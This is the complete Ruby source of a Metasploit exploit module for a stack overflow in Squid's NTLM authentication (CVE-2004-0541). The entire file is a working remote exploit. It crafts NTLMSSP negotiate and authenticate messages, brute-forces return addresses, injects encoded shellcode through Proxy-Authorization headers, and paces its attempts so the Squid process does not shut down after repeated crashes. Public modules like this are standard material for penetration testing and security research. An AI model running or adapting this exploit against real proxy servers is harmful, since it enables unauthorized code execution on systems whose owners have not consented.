##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Squid NTLM Authenticate Overflow',
        'Description' => %q{
          This is an exploit for Squid\'s NTLM authenticate overflow
          (libntlmssp.c). Due to improper bounds checking in
          ntlm_check_auth, it is possible to overflow the 'pass'
          variable on the stack with user controlled data of a user
          defined length.  Props to iDEFENSE for the advisory.
        },
        'Author' => 'skape',
        'References' => [
          [ 'CVE', '2004-0541'],
          [ 'OSVDB', '6791'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
          [ 'BID', '10500'],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 256,
          'MinNops' => 16,
          'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
          'PrependEncoder' => "\x83\xec\x7f"

        },
        'Targets' => [
          [
            'Linux Bruteforce',
            {
              'Platform' => 'linux',
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
                  'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
                  'Step' => 0
                }
            },
          ],
        ],
        'DisclosureDate' => '2004-06-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_advanced_options(
      [
        # We must wait 15 seconds between each attempt so as to prevent
        # squid from exiting completely after 5 crashes.
        OptInt.new('BruteWait', [ false, 'Delay between brute force attempts', 15 ]),
      ]
    )
  end

  def brute_exploit(addresses)
    site = 'http://' + rand_text_alpha(rand(128)) + '.com'

    print_status("Trying 0x#{'%.8x' % addresses['Ret']}...")
    connect

    trasnmit_negotiate(site)
    transmit_authenticate(site, addresses)

    handler
    disconnect
  end

  def trasnmit_negotiate(site)
    negotiate =
      "NTLMSSP\x00" + # NTLMSSP identifier
      "\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE
      "\x07\x00\xb2\x07" + # flags
      "\x01\x00\x09\x00" + # workgroup len/max       (1)
      "\x01\x00\x00\x00" + # workgroup offset        (1)
      "\x01\x00\x03\x00" + # workstation len/max     (1)
      "\x01\x00\x00\x00" # workstation offset      (1)

    print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
    req =
      "GET #{site} HTTP/1.1\r\n" +
      "Proxy-Connection: Keep-Alive\r\n" +
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
      "\r\n"
    sock.put(req)
  end

  def transmit_authenticate(site, addresses)
    overflow =
      rand_text_alphanumeric(0x20) +
      [addresses['Ret']].pack('V') +
      [addresses['Valid']].pack('V') +
      "\xff\x00\x00\x00"
    shellcode = payload.encoded
    pass_len = [overflow.length + shellcode.length].pack('v')
    authenticate =
      "NTLMSSP\x00" + # NTLMSSP identifier
      "\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE
      pass_len + pass_len + # lanman response len/max
      "\x38\x00\x00\x00" + # lanman response offset  (56)
      "\x01\x00\x01\x00" + # nt response len/max     (1)
      "\x01\x00\x00\x00" + # nt response offset      (1)
      "\x01\x00\x01\x00" + # domain name len/max     (1)
      "\x01\x00\x00\x00" + # domain name offset      (1)
      "\x01\x00\x01\x00" + # user name               (1)
      "\x01\x00\x00\x00" + # user name offset        (1)
      "\x00\x00\x00\x00" + # session key
      "\x8b\x00\x00\x00" + # session key
      "\x06\x82\x00\x02" + # flags
      overflow + shellcode

    print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
    req =
      "GET #{site} HTTP/1.1\r\n" +
      "Proxy-Connection: Keep-Alive\r\n" +
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
      "\r\n"
    sock.put(req)
  end
end
